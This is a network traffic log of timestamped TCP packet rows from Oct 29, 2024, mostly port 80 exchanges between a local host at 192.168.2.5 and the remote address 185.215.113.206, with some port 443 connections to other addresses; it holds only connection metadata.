Oct 29, 2024 02:46:43.384881973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.384933949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.384933949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.384948015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.384982109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385077000 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385101080 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385147095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385153055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385199070 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385200024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385232925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385278940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385284901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385313034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385319948 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385345936 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385354996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385390997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385392904 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385448933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385472059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385478020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385488033 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385518074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385524988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385528088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385555983 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385557890 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385576963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385588884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385623932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385634899 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385657072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.385667086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.385819912 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.405040026 CET	443	49915	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.405605078 CET	49915	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.405652046 CET	443	49915	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.405702114 CET	49915	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.409657955 CET	443	49917	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:43.409774065 CET	49917	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:43.410918951 CET	49917	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:43.410929918 CET	443	49917	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:43.424679041 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:43.424693108 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:43.424750090 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:43.424772024 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:43.425411940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425441027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425483942 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.425491095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425519943 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.425524950 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:43.425545931 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.425566912 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:43.425590038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425621986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425642967 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:43.425652981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.425666094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.425679922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425714016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425721884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.425749063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425793886 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.425796986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.425843954 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.426843882 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.426862955 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.426923990 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.427628040 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.427637100 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.447709084 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.449270964 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.461545944 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.461564064 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.461601019 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.461601019 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.461622953 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.461631060 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.461658001 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.461683989 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.461746931 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.462008953 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.462063074 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.462878942 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.462893963 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.462966919 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.462975979 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.463088036 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.464127064 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.464143038 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.464204073 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.464211941 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.464282036 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.464430094 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.464483976 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.465215921 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.465229988 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.474773884 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.476603031 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.476619005 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.477680922 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.477686882 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.500761032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.500794888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.500828028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.500874996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.500905991 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.500955105 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.500988007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.500997066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501017094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501025915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501074076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501074076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501085997 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501132965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501162052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501188993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501194954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501245975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501247883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501277924 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501312017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501328945 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501372099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501380920 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501405954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501434088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501486063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501486063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501521111 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501553059 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501605988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501619101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501647949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501679897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501704931 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501723051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501734018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501763105 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501776934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501812935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501826048 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501856089 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501893044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.501905918 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501950979 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501979113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.501993895 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502012968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502026081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502065897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502096891 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502134085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502151012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502161980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502217054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502233982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502249956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502290010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502295017 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502321959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502336025 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502366066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502398014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502409935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502430916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502463102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502465010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502491951 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502494097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502513885 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502525091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502538919 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502576113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502609015 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502609968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502643108 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502662897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502674103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502692938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502717018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502723932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502753019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502767086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502784967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502790928 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502825975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502861023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502906084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502913952 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502938986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502952099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.502971888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.502974987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503000975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503035069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503067970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503084898 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503099918 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503113031 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503134012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503139973 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503165960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503200054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503232956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503236055 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503257990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503267050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503283978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503298998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503351927 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503351927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503381968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503396988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503415108 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503453970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503464937 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503490925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503504038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503524065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503557920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.503571987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.503618956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.511607885 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.512062073 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.512080908 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.512629986 CET	49931	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.512636900 CET	443	49931	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.539463997 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.540235043 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.540254116 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.541409969 CET	49932	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.541416883 CET	443	49932	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.542666912 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.542709112 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.542741060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.542751074 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.542774916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.542785883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.542810917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.542860031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.542861938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.542893887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.542906046 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.542926073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.542944908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.542960882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.542987108 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.542993069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.543010950 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.543037891 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.543067932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.543112993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.578675032 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.578746080 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.578758001 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.578805923 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.578839064 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.578845024 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.578874111 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.578896046 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.579227924 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:43.579256058 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:43.589212894 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.589230061 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.589255095 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.589293003 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.589323044 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.589589119 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.589589119 CET	49927	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.589600086 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.589608908 CET	443	49927	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.593795061 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.593869925 CET	443	49926	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.594175100 CET	49926	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.605833054 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.605917931 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.606060982 CET	443	49928	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:43.606159925 CET	49928	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:43.608932972 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.609452009 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.609467983 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.610908031 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.610980034 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.611557961 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.611645937 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.611844063 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.611978054 CET	49930	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:43.612000942 CET	443	49930	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.614496946 CET	443	49929	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:43.617475986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.617506981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.617559910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.617573977 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.617598057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.617602110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.617629051 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.617649078 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.617650032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.617769003 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.617803097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.617820978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.617836952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.617850065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.617880106 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.618042946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618092060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618125916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618163109 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618181944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.618212938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618216991 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.618247032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618632078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618680954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618690014 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.618732929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618766069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618799925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618814945 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.618853092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618887901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618900061 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.618938923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.618992090 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.618999004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619034052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619066954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619075060 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619100094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619143009 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619151115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619184971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619218111 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:43.619229078 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:43.619251966 CET	80	49838	185.215.113.206	192.168.2.5
